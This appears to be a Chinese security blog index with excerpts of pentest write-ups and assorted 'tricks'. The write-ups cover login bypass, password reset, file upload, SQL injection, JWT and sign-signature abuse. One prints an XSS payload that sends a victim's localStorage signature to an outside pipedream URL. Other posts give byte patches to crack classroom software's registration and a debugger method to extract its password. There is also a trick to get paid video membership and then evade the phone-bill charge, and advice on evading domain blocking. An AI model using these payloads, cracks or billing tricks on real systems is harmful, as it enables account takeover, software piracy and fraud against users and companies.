• 最新域名解除拦截教程

    最新域名解除拦截教程 1.通过微信反诈实验室进行申诉 2.通过腾讯安全网址那里检测申诉 3.qq 直接申诉 源码需要腾讯认可的源码   比如wordpress. 这个哪里下载我就不用说了吧 域名一般不被腾讯拉黑 就直接成功 ...

    2023-07-25 208
  • 记录一次挖掘学校小程序的漏洞

    0x00 前言 从第一次漏洞找到之后很久没有找到新的,于是便将目光转移到小程序上。文章漏洞已提交src平台并且已经修复,这里记录是为了让各位师傅点评。.  小程序漏洞挖掘 在我看来小程序的漏洞与web漏洞很相似,所以完全可以把web漏洞挖掘的思路用在小程序上,同时小程序上对于防护做的比较差,所以便有了今天的文章。   0x01 配置微信抓包代理 这里我使用的抓包工具为burpsuite.  1.burpsuite配置 在代理的位置设置代理 配置代理ip与端口(端口只要没有被占用都可以) 2.电脑端配置 找到下图的代理 使用代理服务器 代理IP和端口改为和burp suite一致即可,将使用代理服务器给打开 代理服务器内的内容在下方   localhost;127.*;10.*;172.16.*;172.17.*;172.18.*;172.19.*;172.20.*;172.21.*;172.22.*;172.23.*;172.24.*;172.25.*;172.26.*;172.27.*;172.28.*;172.29.*;172.30.*;172.31.*;192.168.* 注:这里配置的代理将会抓取电脑上全部的数据包,包括浏览器和别的数据包   </p> 0x02 漏洞复现过程 目标小程序,这里使用获取到的学号(学号可以使用谷歌语法进行获取),输入任意密码,输入正确的验证码,同时将代理工具打开进行抓包 抓取这个登录数据包,查看它的响应   通过多次抓包测试确定:resultCode是判断是否可以登录的依据,0003是用户不存在,0004是账号密码错误,0000是登录成功。   这里将返回包的内容0004修改为0000 将修改完成后的数据包放出,成功绕过登录页面,同时经过查找发下多个学校在使用该系统,目前均以修复。. 0x03 总结 还是一个简单的逻辑漏洞,对于刚接触网络安全的我来说逻辑漏洞是最容易的漏洞,同时也可以给我很大的信心以及学下去的动力。希望各位师傅可以点评,同时如果可以的话希望有师傅可以私信带带萌新,谢谢。....

    2023-07-23 216
  • 最新QQ永久冻结解封教程+申诉理由

    【免费技术】最新QQ永久冻结解封教程+申诉理由 其实投诉到工信部资料齐全,申诉的说词整理得好,能够成功解封的几率非常高。只要不是严重的违规,  比如:  1、涉H,群主没有发过H,但是被封号的;  2、QQ空间发了几条不是很严重的广告之类的;  3、骂人,批量删除好友;....等等。 只要你的QQ号没有涉及到“HDD”到工信部基本能解。如果涉及“HDD”严重违规的话,可以去投诉试试。  好了,进入正题:  工信部投诉邮箱地址:12300@gdca.gov.cn  邮件发送格式: -------------------------- 邮件主题:投诉腾讯公司恶意封禁QQ号XXXXXX  邮件内容:  申诉人:XXX  身份证号码:XXXXX  联系电话:XXXX  争议号码:XXX(此处填写QQ号码)  申诉理由:尊敬的工信部领导,您好!在XXXX年XX月XX日本人多年使用的QQ号XXXX被腾讯公司以“涉嫌传播违法违规信息”被永久冻结封号,多次联系腾讯客服申诉无果,每次都是告知违规不予解封。本号为私人用号,但是很多公司资料保存在QQ上,因此QQ号有时候有朋友和同事需要登录下载资料或文件,所以QQ在封号之前QQ密码有过泄漏的情况。本人身为QQ忠实客户,QQ也使用10多年了,信用一直良好,自己实际并未发布什么违规内容信息。QQ号上保存大量重要资料.文件.合同...等等。很多亲朋好友、客户,等因封号导致中断联系方式。使用该QQ号注登录的其他软件、邮箱、腾讯云、企鹅FM、企鹅自媒体...等等,与之QQ关联绑定的第三方平台都无法登录使用。如果QQ号因密码泄漏或QQ异常被他人利用发布了什么违规的内容,腾讯公司应该通知警告或临时冻结。腾讯公司不但没有采取补救措施,反倒直接封号处理。腾讯封号行为对我生活和工作都造成了极大的影响和打击。(此处申诉理由大家根据自身情况进行修改)    事实依据:《互联网群组信息服务管理规定》第十一条:互联网群组信息服务提供者应当对违反法律法规和国家有关规定的互联网群组,依法依约采取警示整改、暂停发布、关闭群组等处置措施,保存有关记录,并向有关主管部门报告。互联网群组信息服务提供者应当对违反法律法规和国家有关规定的群组建立者、管理者等使用者,依法依约采取降低信用等级、暂停管理权限、取消建群资格等管理措施,保存有关记录,并向有关主管部门报告。    申诉要求:解封QQ账号XXXXX 邮件附件   需要上传:身份证正照片+身份证反面照片+QQ登录提示冻结截图+联系腾讯QQ客服沟通处理结果截图+其他资料截图(你觉得还有用的资料,比如:公司营业执照;军官证;退伍证;之类的证明)    Ps;申诉理由只是给大家一个参考,各位自行根据自身QQ情况去填写和修改。    联系腾讯QQ客服沟通处理结果截图,切记,沟通图一定要有腾讯 客服说了不予解封这字眼   客服 收藏 分享 立即购买话,可以去投诉试试。   ...

    2023-07-20 218
  • 极域电子教室2021获取密码

    1.打开学生端输入密码的窗口,od附加 2.od内ctrl+g跳转到00401000,随后ctrl+s查找命令序列 3.黏贴如下序列 mov ecx,dword ptr ds:[esi+0x90] mov edx,dword ptr ds:[eax+0x20] push 0x0 4.跳转后的结构如图,如果不是的可以尝试继续查找,给离序列最近的一个call打断点(如红框00472E8C处) 5.od继续运行程序,输入密码后点击确定,程序断下,右下角UNICODE后即为密码(不包括双引号) 对应学生端如下版本: 顺便附上教师端的注册方案,使用任意十六进制编辑器编辑教师端的TeacherMain.exe,修改下列4处(论坛内复制)1、(00158780)FC FF FF 83 F8 06 75 14 E8       06 75--》07 752、(00158790)76 00 00 50 00 00 00 E9          50 00--》EB 033、(00175FA0)63 00 00 01 00 00 00 E9          01 00--》EB 034、(0017C640)76 00 00 01 00 00 00 E9          01 00--》EB 03顺便问下论坛里有没有专业的律师处理欠薪半年的问题?...

    2023-07-20 189
  • 记一次攻防演练黑盒测试代码审计

    0x00 前言 某次在公司项目渗透时,客户临时要求从去年的hw靶标中选一个作为现场演示攻击手法,我的天,去年的,人早都修了只能自己慢慢再去挖一下了。   0x01 黑盒测试 开局典型登陆框 Net的站点,收集一下同类型站点跑个备份 哈哈哈哈,啥也没有习惯了,只能慢慢的黑盒测了 通过翻阅Js发现存在密码找回接口,第二个接口让我感到非常疑惑重置密码数据包中只有一个xmm(新密码),难道是有隐藏参数 通过构造相应的请求数据包,爆破存在的账户 最终发现了存在账户1,当时在这里卡了很久一直在试问题密保,半天搞不出来,后来索性直接去构造密码重置包 en,直接返回Ok,这难道是密码重置漏洞,猜测在后台程序处理查询到了用户名,然后将session写入到了当前的会话中,导致了任意密码重置的发生,也就是说先去第一个数据包查询账户,在去第二个数据包重置密码即可 成功登陆系统   </p> 翻了一下系统功能点,发现了一个好东西,这不会是源码吧,但是没有提供下载功能点,只能双击预览 在预览的过程中发现如下数据包,返回了文件路径,但是拼接访问显示404 应该还有个目录前缀继续看看文件中的其他文件发现 拼接过后直接下载了该压缩包 解压一看,好家伙还真是源码 0x02 转向灰盒测试 用dnspy直接反编译查看源码,先来到我们的入口,密码重置处查看一下相应的代码逻辑,果然和我们想的一样,这里先通过string ucode = base. Request. Form["yhm"]; 获取用户输入yhm,并传递给ucode,然后通过 DataTable peo = this. user. GetPeo(ucode) ; 来查询该用户名是否存在。之后进入if语句中,如果用户名不存在则直接返回不存在该用户名,存在则通过base. Session["yhm"] = peo. Rows[O]["UID"]. ToString() ; 设置会话session,而问题也恰恰出现在这里,这里并没有判断用户名和密保问题是否相匹配直接设置了session导致了任意账户密码重置漏洞的发生   </p> 跟进密码重置模块查看,获取用户输入 xmm,之后通过`this.user.UpPwd(xmm, base.Session["yhm"].ToString(), "1") 更新了账户密码,只要session存在即可触发该漏洞,而session只需要通过上面的找回密码第一个步骤即可获取 什么,你说还要爆破账户太麻烦了怎么办,没关系贴心的系统给你准备好了默认账户这套系统实在是太棒了,和我女朋友一样贴心温柔。 0x03 深入挖掘 0x31 任意文件上传 全局搜索Upload,在几处白名单后,终于让我看见一处没有做过滤的 向上追溯一下text = text. Insert(text.LastIndexOf('.'), "_" + text2); 给定的字符串 text 中,在最后一个句点(.)之前插入另一个字符串 text2 和下划线(_)并赋值给text,也就说后缀没有发生改变,继续向上跟踪text,全程后缀都可控,妥妥的文件上传   0x32 任意文件删除+SQL 简单粗暴的任意文件删除漏洞和SQL注入漏洞 删除一下测试文件 在测试测试SQL 发现存在着特殊字符过滤器CuustomFilter,过滤了如下[~<>$%\~\+\&\\\?\:\{(';=] 过滤了'不知道如何绕过,只能在找个没有经过该过滤器的请求,最终找到如下控制器 其中PjfcListByPages 获取四个参数,并直接在pageModel. strCondition = string.Concat(new string] {" FTimePC=", pe, " and BPjUID='", BPjUID, "" 拼接,导致注入发生 0x04 总结 至此通过任意账户密码重置—》缺省账户—》文件上传—》前台SQL—》前台任意文件删除—〉拿下这套系统还是很轻松的,如有问题欢迎各位师傅指正。.     文章来源:先知社区(AGONI)原文地址:https://xz.aliyun.com/t/12666...

    2023-07-11 204
  • 婉婉传媒运营实操课(抖音起号到稳号全流程实操,小白到进阶所有运营知识,解决难题)

    婉婉传媒运营实操课,详细教你如果开始运营自媒体; 包括起号前的准备,流量控制,对标账号,怎么复盘,如何风控,以及流量底层逻辑; 抖音起号到稳号全流程实操,小白到进阶所有运营知识,解决·账号所有运营难题。...

    2023-07-08 191
  • 微信小程序绕过sign签名思路

    测试小程序的逻辑漏洞经常会遇到sign签名标识,若不知道sign的生成方式,只篡改参数的值无法修改sign的值,那么漏洞测试就很难进行下一步。本篇分享将围绕如何绕过小程序sign标识展开 漏洞前言: 测试小程序的逻辑漏洞经常会遇到sign签名标识,若不知道sign的生成方式,只篡改参数的值无法修改sign的值,那么漏洞测试就很难进行下一步。本篇分享将围绕如何绕过小程序sign标识展开。 0X01 Sign定义: sign一般用于参数签名,用来验证数据的完整性和真实性。为校验客户端数据传输合法性,防止用户篡改参数、伪装、重放以及数据泄露等常用sign签名校验。sign标识生成方法一般是是将秘钥、时间戳、特殊字符、随机数等参数经过特定排序后使用某种加密算法进行加密,作为接口中的一个参数sign来传递,也可以将sign放到请求头中。是 一般加密方法有:MD5加密、AES加密、SHA加密等。 绕过sign验证常见手法: 1、观察sign的格式,测试判断是否是弱凭据的形式,比如是base64编码,解码后就可以看到原始数据;或者是MD5格式可以直接解密尝试,是否能解密出原始数据等等。 2、尝试将sign字段删除或者直接置空sign的值,看能否绕过校验。 3、尝试反编译,在反编译出来的源代码中查找加密算法,找到sign的生成方式。 0X02 测试涉及到的工具: 解密小程序源码工具:https://share.weiyun.com/uMqNGOXv 反编译小程序工具:https://github.com/ezshine/wxapkg-convertor/releases/tag/1.0.1 0X03 测试细节: 1、 测试小程序 打开某某小程序,抓包,任意更改参数发包会报错,发现添加了sign字段。 直接更改其中的参数发现报错: 尝试直接删除sign字段,报错: 尝试解密sign,看是否是弱加密。经过观察发现是32位数猜测是MD5加密,解密发现解不开。 尝试无果后,尝试反编译小程序,看能不能找到sign的生成方式。 2、 反编译小程序 首先需要找到该小程序存储位置,针对windows端来说,微信小程序默认的存储位置(C:Users{系统用户名}DocumentsWeChatFilesApplet{小程序ID}),因为这里存储都是以小程序ID进行命令的,因此可以先清空微信中的小程序,再去打开想要测试的小程序。 需要注意的是,一定要等小程序完全打开并且再点几个功能,确保将所有包都运行。找到对应的wxapkg查看是否可以直接反编译,有些会有加密,这时先使用工具Unpacker解密,再使用wxapkgconvertor工具将包反编译出来。 解密后使用反编译工具进行源码提取: 3 、全局搜索加密函数位置 打开反编译后的源码,全局搜索MD5,找到了主要的加密sign的代码如下: 加密sign主要函数内容如下: 先遍历对象t,将其中给的参数进行整理,将其中属性是"biz_content"的重新赋给变量r,并且将r的参数属性从json格式转换为对象类型。整合后以字符串的形式以 “&” 连接,将字符串再连接一个预设的值 “ihos-mini-sign-8”。按照字母升序的方式排列,排列后使用MD5的方式加密再转为大写即可。 4 、回调代码 分析完主要加密函数后就可以回调,找对应的函数和参数。 回溯源码看哪里调用了encryptSign,搜索encryptSign查到gatewayRequest函数。继续跟进。 继续跟进函数gatewayRequest找到如下源代码: 继续跟进: getPatInfoByIdNo 发现传入n是个常量 r是个对象,最后转化为xml格式。 继续跟进generateRequest。 跟进l函数: 找到了sign生成函数里各个参数代表什么。 特殊字符:ihos-mini-sign-8 5 、得到sign生成方式 根据主函数推测sign的生成方式,回到第一步的代码,将这些参数按照字母升序排列。 获取到最终的sign生成方式如下: app_id + method(接口,根据这个来分辨调用哪个接口)+ nonce_str(时间戳) + biz_content内容 + token (登录小程序获得)+ 固定值(ihos-mini-sign-8) 6 、测试结果 将这一串字符用MD5加密并转换为大写,就得到的对应的sign值。放进数据包中测试篡改成功,截图如下。 0x04 总结 小程序测试中碰到sign标识可以先测试是否无效或者是弱加密,如都不是可以尝试通过对源码分析找到sign的生成方式,可以应用在修改支付金额、越权等漏洞更进一步提升危害。 0x05 拓展--burpy插件使用 在安全测试中,遇到类似上述讲解中数据包中使用sign签名,在分析加密方式后,不管是自己写脚本或通过网站加解密再粘贴到burp中进行测试,都十分麻烦。因此,可以考虑结合burpy插件来进行漏洞测试。 在Burpy PY file path:里面指定好你自己的python脚本。Burpy也提供了脚本模板,可以直接在它的脚本模板中进行加解密算法 (1) 打开enable processor之后,在使用Intruder进行暴力破解之类的动作时,如果payload需要进行加密或签名,就可以把加密/签名的算法实现到自己有python脚本的processor函数中。 (2) 打开enable autoenc/dec会自动调用encrypt方法,在点击重放时自动进行加解密。 设置好之后,点击start server后,就可以开始正常测试了。 编写脚本: 插件运行: 关闭enable auto enc/dec的话,可以右键加解密 开启后无需右键操作,重放会自动进行加解密操作。 原文链接:https://forum.butian.net/share/2342...

    2023-07-06 190
  • 记录一次JWT的越权渗透测试

    简单介绍: 在一次某行动暂停之后,某单位重新对自身的业务进行了评估,系统业务使用SSO进行登录,而这个SSO登录后的子系统访问采用JWT进行认证,因此有了这一个漏洞的发生,漏洞利用较为简单,各位师傅请见谅。  Oracle WebCenter在这个业务中,登陆口的校验是采用Oracle WebCenter进行认证的,也就是说在系统最初的登录,流量是走到Oracle WebCenter中进行认证的。Oracle WebCenter是面向社交业务的用户参与平台。其上下文相关的协作工具可优化人员、信息和管理软件间连接,帮助员工更高效地协作,并可确保用户在其所处的业务流程环境下访问适当的信息。简单的来说它有点像一个简单的OA系统。  JWTJTW全程是Json Web Token,是目前最流行的跨域认证解决方案。之前遇到的JWT漏洞情况,可能大多数都是在一开始的登录验证下,通过修改token字段以三个点分割的BASE64字符串。第一个字符串为JWT头,一般base64解码后长这样  {“kid”:”keys/3c3c2ea1c3f213f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"} 第二个字符串为账户 {"sub":"admin"} 第三个字符串为签名签名一般不能直接用base64解出来,因为它可能常带有下划线,签名获取的过程稍微比较复杂,不过我们可以知道签名是为了防止数据被篡改,而签名使用的算法就是我们的哥字符串JWT头的Json字段alg。 大部分JWT常用的三种关于利用Token的攻击方式:未校验签名,禁用hash,爆破弱秘钥此部分内容可以参考https://xz.aliyun.com/t/2338其中,未校验签名的情况,我们可以直接修改的那个账户字符串,既 {"sub":"xxxx11111这里修改,然后重新生成Token,如果没有校验签名则可以进行越权"} 禁用Hash,既第一个JWTheader头的alg值为None,我们可以将HS256篡改为None,然后使用Python pyjwt进行Token的生成。 最后爆破弱秘钥是最常见的,也是比较现实的一种情况利用脚本来进行爆破 https://github.com/ticarpi/jwt_tool 本次的场景 首先打开网页,需要通过SSO的oracle webcenter认证,在进入系统中,存在许多业务,而对于子业务系统的认证,则采用的是JWT的认证。接下来将从流程来讲解此次漏洞的挖掘。 1、因为这里没有截图了,所以只能用文字描述。首先,在进入系统后,很多业务选项按钮,比如物流系统,金融系统。我们点击金融系统的时候,会发出第一个包,通过Oracle Webcenter来校验当前账户是不是有效,如果有效,则返回一个Json格式的S。 2、在验证了当前的账户有效的时候,会发出第二个包,请求一个OAM接口想获取一个JWT token,这个OAM接口会带上Cookie字段的Sessionid值,证明自己账户现在的状态真的是有效的,当这个OAM接口后接受SessionId的值后,就会返回一个JWT authorizationToken值。 3、当获取了JWT authorizationToken值后,证明JWT认可了你这个账户了,那么此时系统在第三个包发生的时候自动带上JWT authorizationToken字段放到header头去请求资源,此时系统返回UID等敏感信息 4、没错!越权来了。第三个包返回的信息其中的UID和JWT authorizationToken作为凭证来对这个子业务系统进行访问。但是这里的UID和JWT authorizationToken并没有做严格校验,导致可以通过遍历UID来实现越权访问 看到这个是不是就是我们非常熟悉的JWT认证Token值,以点分割三个成三个的base64编码字符串,这个User Token作为这个子系统访问认证的最后一关 5、其实到第4步的时候,漏洞利用就结束了,其实就是一个简单的越权而已,但是我想把后面的几个过程也简单一下。既然成功越权了,那么这一步系统就开始逐渐返回属于这个系统原本的东西了。这里利用UID和Token获取系统的分组权限信息。 6、获取此账户在这个系统中未读取得信息 7、在get请求处获取了UID值,为了获取菜单信息。而我们也可以通过此处的越权,更方便的爆破ID。 8、获取baseinfo,账户的基本信息,内容   9、最后一个包,获取剩余信息,例如按钮,选项之类。 因此整个利用的漏洞非常简单,通过第7步的API来进行爆破,然后再逐步放入第4步的UID修改包中,那么就可以实现对此子业务系统的任意用户登录了。 越权前后的两个截图比较,多了两个功能,并且两张图的账户名都为AAA,原因是因为auth Token记录的第二个base64字符串记录的就是账号信息,而这个账号信息从始至终都未改变,因此账户名不变,而权限管控在UID部分。也是比较不应该了。 修复 恢复authorizationToken,同时校验uid、user、authorizationToken中的用户是否一致在渗透测试的时候,尽量不要放过每一个包,多看看抓包的history的记录。对于菜鸡来说,渗透就在于细心与更细心罢了。     原文于:https://xz.aliyun.com/t/8288原文作者:Icepaper...

    2023-07-04 169
  • Nacos核心原理解读系统实战课

    课程介绍 Nacos官方社区核心贡献者授课,带你高效 Get相关知识点,Nacos作为一个开源的动态服务发现、配置和服务管理平台,在微服务架构中扮演着重要的角色。本文将深入解读Nacos的核心原理,并探讨其在微服务架构中的应用和优势。...

    2023-07-03 211
  • 算法与数据结构高手养成特训课

    课程介绍 算法学得好,工作不愁找。不过对于很多非科班出身的程序员来说,学好算法是一件有难度的事情,知识版块多、理论性强、技术落地复杂,付出大量精力仍不一定学得好。本课程由兼具丰富信息学竞赛辅导经验+多年大厂从业经验的老师设计并讲解,在系统化梳理算法中高阶知识框架的基础上,结合实际工业需求与编程实践,带大家在吃透高难理论的同时掌握其真正优质的应用实践。...

    2023-07-03 184
  • 王者荣耀BUG卡国标最新方法

    最新方法安卓苹果都可以卡,根据截图教程一步步操作即可截图装B! 1、找一个你想卡国服的英雄,在国标榜上随便点开一个人的主页! 2、点击英雄->点你想卡的英雄详细信息(比如我想卡诸葛亮就点诸葛亮) 3、进来诸葛亮的详细信息后,点个人荣誉 4、随后返回游戏开始界面->点击 对战 ->点击 练习场 5、将左下角练习英雄改为 想卡国标的英雄后 点 英雄之路 6、点英雄之路后 即可看见 帅气的大国标 可以点分享看见英雄具体数据截图发朋友圈装X   ...

    2023-07-02 198
  • 记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

    这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。 我们将用实际流程来覆盖每个漏洞,然后将所有这些问题串联起来 XSS →IDOR → 账户接管 我们先从XSS开始 注意:我们将目标应用程序称为vulnerablemarketplace.com 关于此应用程序:在此应用程序中,每个请求都通过签名进行验证,该签名的作用类似于 cookie 或身份验证标头。 漏洞1:存储型XSS 与其他应用程序一样,它有一个个人资料部分,用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接 所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript:alert(document.domain) ,当我保存我的信息并单击 Twitter 或 Instagram 图标时,javascript 被执行,这确认我们在nft 市场 复现步骤 1.使用钱包登录我的vulnerablemarketplace.com nft 帐户 2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain) 这是帖子请求: 3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时,XSS 就会被执行 漏洞 2:idor 修改任何用户的个人资料详细信息 关于漏洞:攻击者可以修改用户的个人资料信息,包括联系电子邮件、Twitter 或 Instagram 链接,这里唯一的要求是我们需要获取受害者的钱包地址(这已经是区块链上的公开信息,因为每个用户都共享一个钱包地址)某人或其他人)。 要求:受害者钱包地址(我们可以轻松获得,因为用户与其他用户共享此地址,并且地址是公共信息) 复现步骤 设置:我创建了两个帐户 A. 攻击者 B. 受害者(复制受害者钱包地址) 1.攻击者将他的钱包连接到vulnerablemarketplace.com 2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息,并在任何代理工具 (BURP) 中捕获请求 3.从攻击者的角度来看,此帖子请求中的一些参数非常有趣,包括 acccount_address、signer 和签名。 account_address=用户钱包地址 签名者=与账户地址相同 签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求 4.我将攻击者的account_address修改为受害者的账户地址并发送请求 5.是的!!!我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接 注意:有些人可能会有疑问,如果我们能够修改受害者的电子邮件,那么帐户就已经被接管了??不,因为这是一个 NFT 应用程序,所以没有电子邮件身份验证,我们必须使用钱包扩展进行连接(我们需要窃取受害者签名,以便我们可以使用它来窃取 NFT 或艺术品) 打造漏洞利用链 到目前为止,我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据,但通过链接此 IDOR,我们可以修改信誉良好的用户的个人资料详细信息以增加影响 需要记住的事情:应用程序没有 cookie,但将签名值存储在浏览器 localStorage 中,因此我们将制作有效负载来窃取该签名值 复现步骤 1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求 2.修改此负载的 Instagram 和 Twitter 链接。 3.我们对签名值特别感兴趣,因为这是发出每个请求所必需的。签名值存储在 localStorage 中,因此这里是 javascript 有效负载,我们将使用它来窃取该值并将其发送到我们的 pipelinedream urljavascript:token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url) 4.修改account_address为受害者钱包地址 5.请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料,XSS 将被执行,用户的签名值将被泄露到我的服务器 现在您可以看到我们使用 XSS 窃取了受害者的签名。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品 漏洞披露 非常感谢您花时间阅读这篇文章。    ...

    2023-07-01 178
  • 记一次由验证码绕过到越权访问的实战记录

    0x前言 本文章主要记录一个我在工作中遇到有意思的逻辑漏洞,可惜最终上传成功了木马但是没有getshell,思路卡住了。本文所涉及的漏洞在文章发布前已做好漏洞修复工作,且是已授权的渗透测试。因为系统涉密原因,所以对一些涉及到url,系统名称的地址会进行打码操作,影响观感,实属抱歉。 0x测试流程 进去之后发现还挺多功能点的,不是单纯的登录界面。 打开注册页面 因为不想用自己的信息登录就随便输入了一个手机号码以及验证码 结果发现在验证码错误的情况下还能注册成功,这可真是秀到我了,验证码形如摆设 通过bp发包确认一下是否真的注册成功,可以看到名称已存在,那么说明之前注册成功了,那就是一个妥妥的验证码绕过了 去登录页面输入刚刚注册的用户,显示需要审批才能进行登录,这个时候有意思的来了 返回首页之后刷新一下页面,居然自动登录了,看到用户的注册状态还是审批中,但是可以使用该用户进行操作。 翻了一遍模块之后没发现只有系统跳转模块有点看头 跳到其他区级系统之后奇迹般的居然给我审批通过了 在跳转到其他的资源目录获取到一些信息 问了一下那边负责运维的同事,发现都是一些公开的信息。 在新建一个管理员的了,看看能不能看到更多的信息 访问了一下运维系统,结果也是不行 最后翻了一下,给我翻到一个数据源管理, 可惜这里不能获取到它的数据库连接信息,只能自己上传一些文件去连接,没感觉有太大用处 按照惯例有上传点就上传一下php文件,不出所料的上传错误了 fuzz了一下,估计是底层做了白名单限制,只允许上传白名单后缀的文件 既然白名单那就尝试一下%00截断 结果发现还真的可以上传成功 可以看到所属文件类型确实是php文件 不过这里上传点没用,后面尝试了一下asp,主要上传之后没有回显地址,也连接不上。没找到有其他的漏洞能打一套组合拳,无奈只好收工,不过总体感觉还是挺有意思的。     原文于:https://www.freebuf.com/articles/web/340840.html原文作者:yi6666...

    2023-06-28 172
  • 移动卡两年腾讯视频会员教程

      教程 打开腾讯视频到会员中心选30元一个月VIP下一步勾.上自动续费,用话费支付。 填手机号码,获取验证码.然后办理成功。成功后可以看到VIP增加了2年。 下一步就等10086发来的一小时内取消的短信,按短信提示一小时内退订话费连续支付。 (按照结果短信是没有扣费的)注:话费不够的更好,一点钱都不扣,直接退订 但是还是慎行,毕竟操作不当会被扣费建议使用只有几块钱的卡试验但是一般应该也不会出问题 Ps:仅供参考学习,不一定每个人都好使   ...

    2023-06-28 225
  • 记一次泄露PII的漏洞挖掘经历

    泄露PII的漏洞挖掘经历 什么是PII(Personal Identifiable Information) 个人可识别信息 这是有关一个人的数据,这些数据能帮助识别这个人,如姓名、指纹、电子邮件地址、电话号码等。 我使用提供的凭据进行测试,提交了我的用户名和密码并收到以下请求: POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1 Host: redact.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 25 Origin: redact.com Referer: redact.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close {"login":"test@gmail.com, "password": "test1337"}   我从请求中删除了密码字段及其值,如下: POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1 Host: redact.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 25 Origin: redact.com Referer: redact.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close {"login":"test@gmail.com"}   然后该用户的 PII 被泄露,并且显示了私人信息。 这是我收到的返回包: 有时,您需要尝试输入字段并处理一些意外行为。这就是为什么执行手动测试很重要,而不仅仅是依赖模糊测试,这可能会对网站造成损害。...

    2023-06-27 227
  • 香港云服务器网站被攻击的解决方法

      香港云服务器是搭建网站选择最多的一款云服务器,也有很多优点,但无法防御DDOS攻击,网站一旦被攻击,会直接导致访问慢,更严重的可能会影响网站的优化排名效果,那么香港云服务器网站万一被ddos攻击了我们应该怎么办呢?有没有什么方法可以预防或防御ddos攻击呢?下面我们就一起来看看。   香港云服务器网站被攻击了怎么办?   虽然我们香港云服务器网站无法避免被DDOS攻击,但我们可以通过以下方法来减少或者抵御DDOS/CC等恶意流量的攻击:   1、限速:就像你们所理解的那样,对每个IP做速率限制。(只能对少量DDOS攻击有效,但不推荐,很容易影响正常用户的访问速度)   2、限制访问:对可疑来源一刀切,限制区域访问,只针对用户集中的地区提供服务。降低服务器的压力(不推荐,流量本身就比较少,又要限制地区,流量则会进一步减少)   3、增加带宽:提高香港云服务器带宽也可以防御DDOS攻击,但要想通过带宽来完全抵御攻击,成本会很高。   4、CDN:CDN节点可以有效的降低服务器压力,也有一定防御DDOS攻击的能力。   5、高防IP:只需短短几分钟即可接入华纳云香港高防IP,500G防御值。   6、高防服务:香港高防云服务器服务,专门针对香港云服务器被DDOS攻击服务,可以很好的帮助防御DDOS/CC攻击。   以上几种方法皆是在不换服务器的情况下帮助香港云服务器减少和抵御DDOS/CC攻击,另外我们还可以换至拥有高防御的香港高防服务器,以杜绝频繁的DDOS流量攻击。 文章来源于互联网:香港云服务器网站被攻击的解决方法 (window.slotbydup = window.slotbydup || []).push({ id: "u6203766", container: "_l92wqljl64", async: true }); ...

    2023-06-26 160
  • 用户名密码加密的页面爆破学习

    前言 目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法,甚至有些网站在每次请求前都动态请求加密密钥等措施,对接口渗透工作造成较大障碍,本文简单对登录接口暴力破解时字段被加密,如何处理加密内容进行暴破来进行一个简单的分享。 常见方法和思路 1、分析找出是哪个js文件进行了password参数值的加密,将该js导入本地动态执行,建一个小型的web服务器,利用浏览器页面将js运行起来,把账号密码发给本地这个服务器,然后本地js执行加密之后把加密的值再给登录的请求,实现普通的发包爆破。  2、利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破.  3、通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式,写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。  4、利用前面的方法,把密码字典全部加密之后生成对应加密字典,然后普通发包爆破的时候传入加密的字典。 实例1 工作中遇到的一个登录页面,发现登录账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息) burp抓到的包,request的GET的登录包,很明显可以看到param1,param2参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功,本次页面中存在滑动验证码,通过burp重放尝试发现该验证码无效。 存在验证码重用的问题,但是请求加密了不能直接进行爆破。所以我们需要分析前端加密代码逻辑。 根据关键字快速定位加密字段 打开浏览器调试模式,根据请求包的关键字在js脚本中进行搜索进帮助我们快速定位,定位到一个ajax请求 该请求中使用了suser 字段和spwd参数,在js中继续寻找参数出现的位置,找到如下代码 可以看到调用了entryt.encrypt()函数对输入的用户密码进行了加密处理,继续寻找函数定义位置,发现在另一个js中进行的定义 一眼看过去,采用AES加密,key 和iv 都有了,使用在线的加密工具验证一下,登录页面中用户名密码均填写tide,传输中的加密字段为4942b13dc0e541615f52f0a3cb4b321f,用户名密码采用相同的加密算法, AES加密验证:4942b13dc0e541615f52f0a3cb4b321f,在实际测试过程中因为输出编码没有修改这里绕了一个大圈,以为是不对的见下图,实验过程中是从页面中继续提取JS进行的测试, 